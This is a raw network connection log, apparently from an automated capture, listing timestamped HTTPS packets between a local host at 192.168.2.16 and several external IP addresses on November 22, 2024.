Nov 22, 2024 23:00:23.070983887 CET	443	49759	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:23.862443924 CET	49760	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:23.862477064 CET	443	49760	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:23.862565994 CET	49760	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:23.863512993 CET	49760	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:23.863527060 CET	443	49760	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:24.475075006 CET	443	49759	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:24.475212097 CET	49759	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:24.479460001 CET	49759	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:24.479495049 CET	443	49759	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:24.479763985 CET	443	49759	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:24.533828974 CET	49759	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:24.539037943 CET	49759	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:24.583333969 CET	443	49759	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:25.004185915 CET	443	49759	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:25.004254103 CET	443	49759	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:25.004275084 CET	443	49759	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:25.004292965 CET	443	49759	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:25.004337072 CET	443	49759	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:25.004354954 CET	443	49759	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:25.004419088 CET	49759	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:25.004477024 CET	443	49759	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:25.004534006 CET	49759	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:25.004556894 CET	49759	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:25.187098026 CET	443	49759	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:25.187146902 CET	443	49759	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:25.187195063 CET	49759	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:25.187232971 CET	443	49759	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:25.187263966 CET	49759	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:25.187287092 CET	49759	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:25.236310959 CET	443	49759	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:25.236366987 CET	443	49759	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:25.236429930 CET	49759	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:25.236449957 CET	443	49759	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:25.236500978 CET	49759	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:25.236520052 CET	49759	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:25.353794098 CET	443	49759	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:25.353846073 CET	443	49759	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:25.353909016 CET	49759	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:25.353934050 CET	443	49759	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:25.353964090 CET	49759	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:25.353986025 CET	49759	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:25.383786917 CET	443	49759	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:25.383846998 CET	443	49759	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:25.383878946 CET	49759	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:25.383893967 CET	443	49759	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:25.383924007 CET	49759	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:25.383944988 CET	49759	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:25.407025099 CET	443	49759	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:25.407071114 CET	443	49759	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:25.407116890 CET	49759	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:25.407131910 CET	443	49759	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:25.407160997 CET	49759	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:25.407181025 CET	49759	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:25.428215981 CET	443	49759	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:25.428246021 CET	443	49759	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:25.428311110 CET	49759	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:25.428325891 CET	443	49759	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:25.428356886 CET	49759	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:25.428375006 CET	49759	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:25.431207895 CET	443	49759	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:25.431272984 CET	49759	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:25.431287050 CET	443	49759	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:25.431319952 CET	443	49759	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:25.431365013 CET	49759	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:25.435832977 CET	49759	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:25.703404903 CET	443	49760	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:25.703494072 CET	49760	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:25.737313986 CET	49760	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:25.737329006 CET	443	49760	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:25.738342047 CET	443	49760	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:25.739501953 CET	49760	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:25.739550114 CET	49760	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:25.739764929 CET	443	49760	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:25.826306105 CET	49761	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:25.826330900 CET	443	49761	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:25.826400995 CET	49761	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:25.827194929 CET	49761	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:25.827208042 CET	443	49761	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:26.408327103 CET	443	49760	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:26.408397913 CET	443	49760	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:26.408447981 CET	443	49760	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:26.408473015 CET	49760	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:26.408480883 CET	443	49760	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:26.408505917 CET	49760	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:26.408955097 CET	49760	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:26.408968925 CET	49760	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:26.409286976 CET	443	49760	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:26.409369946 CET	443	49760	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:26.409415007 CET	49760	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:26.495556116 CET	49762	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:26.495570898 CET	443	49762	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:26.495635986 CET	49762	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:26.496510983 CET	49762	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:26.496521950 CET	443	49762	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:27.203290939 CET	443	49761	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:27.205774069 CET	49761	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:27.205797911 CET	443	49761	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:27.727504969 CET	443	49761	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:27.727569103 CET	443	49761	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:27.727613926 CET	443	49761	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:27.727642059 CET	49761	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:27.727674961 CET	443	49761	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:27.727693081 CET	49761	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:27.727731943 CET	49761	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:27.735568047 CET	443	49761	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:27.735636950 CET	49761	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:27.735665083 CET	443	49761	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:27.735717058 CET	49761	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:27.735810041 CET	443	49761	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:27.735861063 CET	49761	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:27.735918045 CET	49761	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:28.430260897 CET	443	49762	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:28.430331945 CET	49762	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:28.440131903 CET	49762	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:28.440155983 CET	443	49762	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:28.440397024 CET	443	49762	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:28.440865040 CET	49762	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:28.440916061 CET	49762	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:28.440937996 CET	443	49762	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:29.129614115 CET	443	49762	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:29.129637003 CET	443	49762	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:29.129673958 CET	443	49762	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:29.129729033 CET	443	49762	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:29.129729033 CET	49762	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:29.129781961 CET	49762	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:29.130134106 CET	49762	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:29.130151033 CET	443	49762	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:29.130166054 CET	49762	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:29.130172968 CET	443	49762	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:29.181106091 CET	49765	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:29.181194067 CET	443	49765	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:29.181294918 CET	49765	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:29.181437016 CET	49765	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:29.181459904 CET	443	49765	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:30.956495047 CET	443	49765	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:30.957068920 CET	49765	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:30.957102060 CET	443	49765	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:30.957834959 CET	49765	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:30.957842112 CET	443	49765	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:30.957885981 CET	49765	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:30.957894087 CET	443	49765	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:31.458261013 CET	49767	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:31.458296061 CET	443	49767	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:31.458431959 CET	49767	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:31.458689928 CET	49767	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:31.458708048 CET	443	49767	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:31.595288992 CET	443	49765	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:31.595381975 CET	443	49765	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:31.595453024 CET	443	49765	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:31.595462084 CET	49765	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:31.595520020 CET	443	49765	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:31.595577002 CET	49765	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:31.595923901 CET	49765	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:31.595927954 CET	49768	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:31.595959902 CET	443	49765	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:31.595985889 CET	443	49768	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:31.595998049 CET	49765	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:31.596080065 CET	49768	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:31.596271038 CET	443	49765	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:31.596329927 CET	49768	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:31.596362114 CET	443	49765	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:31.596364975 CET	443	49768	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:31.596435070 CET	49765	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:31.684300900 CET	49769	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:31.684324980 CET	443	49769	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:31.684420109 CET	49769	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:31.684648991 CET	49769	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:31.684664965 CET	443	49769	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:32.096596003 CET	49772	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:32.096662998 CET	443	49772	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:32.096756935 CET	49772	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:32.097019911 CET	49772	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:32.097055912 CET	443	49772	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:32.723099947 CET	443	49767	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:32.723478079 CET	49767	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:32.723510981 CET	443	49767	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:32.724632025 CET	443	49767	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:32.724999905 CET	49767	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:32.725131989 CET	49767	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:32.725138903 CET	443	49767	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:32.725174904 CET	443	49767	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:32.766520023 CET	49767	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:32.897888899 CET	443	49768	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:32.899552107 CET	49768	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:32.899606943 CET	443	49768	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:32.901876926 CET	443	49768	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:32.901951075 CET	49768	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:32.902471066 CET	49768	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:32.902570009 CET	49768	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:32.902582884 CET	443	49768	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:32.902611971 CET	443	49768	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:32.942579031 CET	49768	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:32.942614079 CET	443	49768	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:32.990510941 CET	49768	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:33.193252087 CET	443	49767	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:33.193453074 CET	443	49767	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:33.193551064 CET	49767	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:33.193587065 CET	443	49767	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:33.193600893 CET	49767	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:33.193676949 CET	49767	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:33.194149017 CET	49773	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:33.194183111 CET	443	49773	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:33.194257975 CET	49773	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:33.194499969 CET	49773	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:33.194513083 CET	443	49773	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:33.376311064 CET	443	49768	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:33.376405954 CET	443	49768	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:33.376622915 CET	49768	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:33.376667976 CET	443	49768	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:33.376701117 CET	49768	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:33.376733065 CET	49768	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:33.377023935 CET	49775	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:33.377058983 CET	443	49775	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:33.377137899 CET	49775	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:33.377347946 CET	49775	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:33.377358913 CET	443	49775	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:33.543389082 CET	443	49769	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:33.543502092 CET	49769	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:33.548054934 CET	49769	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:33.548063993 CET	443	49769	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:33.548849106 CET	443	49769	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:33.549228907 CET	49769	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:33.549264908 CET	49769	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:33.549283028 CET	443	49769	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:33.837486029 CET	443	49772	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:33.837872982 CET	49772	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:33.837930918 CET	443	49772	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:33.838339090 CET	443	49772	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:33.838661909 CET	49772	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:33.838738918 CET	443	49772	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:33.885519981 CET	49772	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:34.222843885 CET	443	49769	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:34.222912073 CET	443	49769	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:34.222992897 CET	49769	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:34.222990990 CET	443	49769	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:34.223022938 CET	443	49769	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:34.223064899 CET	49769	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:34.223428965 CET	49769	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:34.223455906 CET	49769	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:34.223809958 CET	443	49769	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:34.223905087 CET	443	49769	20.190.147.5	192.168.2.16
Nov 22, 2024 23:00:34.223953009 CET	49769	443	192.168.2.16	20.190.147.5
Nov 22, 2024 23:00:34.456681967 CET	443	49773	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:34.456948996 CET	49773	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:34.456970930 CET	443	49773	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:34.457590103 CET	443	49773	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:34.457912922 CET	49773	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:34.457992077 CET	443	49773	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:34.458044052 CET	49773	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:34.458069086 CET	49773	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:34.458142996 CET	443	49773	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:34.681421041 CET	443	49775	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:34.681760073 CET	49775	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:34.681778908 CET	443	49775	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:34.682255030 CET	443	49775	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:34.682802916 CET	49775	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:34.682873011 CET	443	49775	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:34.682967901 CET	49775	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:34.682993889 CET	49775	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:34.683047056 CET	443	49775	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:34.923918009 CET	443	49773	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:34.924154043 CET	443	49773	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:34.924233913 CET	49773	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:34.929188967 CET	49773	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:34.929215908 CET	443	49773	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:35.159399986 CET	443	49775	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:35.159482002 CET	443	49775	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:35.159568071 CET	49775	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:35.169123888 CET	49775	443	192.168.2.16	35.190.80.1
Nov 22, 2024 23:00:35.169145107 CET	443	49775	35.190.80.1	192.168.2.16
Nov 22, 2024 23:00:36.317478895 CET	49777	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:36.317518950 CET	443	49777	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:36.318227053 CET	49777	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:36.318464994 CET	49777	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:36.318478107 CET	443	49777	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:37.629347086 CET	443	49777	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:37.636349916 CET	49777	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:37.636380911 CET	443	49777	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:38.143129110 CET	443	49777	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:38.143157005 CET	443	49777	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:38.143174887 CET	443	49777	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:38.143234015 CET	49777	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:38.143265963 CET	443	49777	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:38.143286943 CET	49777	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:38.143343925 CET	49777	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:38.341625929 CET	443	49777	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:38.341643095 CET	443	49777	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:38.341737986 CET	49777	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:38.341747046 CET	443	49777	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:38.342026949 CET	49777	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:38.422137976 CET	443	49777	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:38.422154903 CET	443	49777	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:38.422226906 CET	49777	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:38.422238111 CET	443	49777	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:38.422288895 CET	49777	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:38.531461000 CET	443	49777	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:38.531476974 CET	443	49777	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:38.531578064 CET	49777	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:38.531584978 CET	443	49777	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:38.531634092 CET	49777	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:38.570549965 CET	443	49777	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:38.570568085 CET	443	49777	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:38.570631027 CET	49777	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:38.570636034 CET	443	49777	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:38.570796967 CET	49777	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:38.586769104 CET	443	49777	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:38.586807966 CET	443	49777	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:38.586833000 CET	49777	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:38.586837053 CET	443	49777	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:38.586853981 CET	443	49777	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:38.586878061 CET	49777	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:38.586909056 CET	49777	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:38.587280989 CET	49777	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:38.600550890 CET	49778	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:38.600600004 CET	443	49778	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:38.600661993 CET	49778	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:38.600872993 CET	49778	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:38.600889921 CET	443	49778	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:39.921597958 CET	443	49778	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:39.926953077 CET	49778	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:39.926980019 CET	443	49778	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:40.437028885 CET	443	49778	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:40.437057018 CET	443	49778	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:40.437071085 CET	443	49778	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:40.437304020 CET	49778	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:40.437326908 CET	443	49778	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:40.437407970 CET	49778	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:40.634026051 CET	443	49778	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:40.634047031 CET	443	49778	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:40.634129047 CET	49778	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:40.634145021 CET	443	49778	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:40.634191990 CET	49778	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:40.634203911 CET	49778	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:40.679744005 CET	443	49778	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:40.679788113 CET	443	49778	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:40.679857969 CET	49778	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:40.679872036 CET	443	49778	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:40.679919004 CET	49778	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:40.799695969 CET	443	49778	217.77.14.110	192.168.2.16
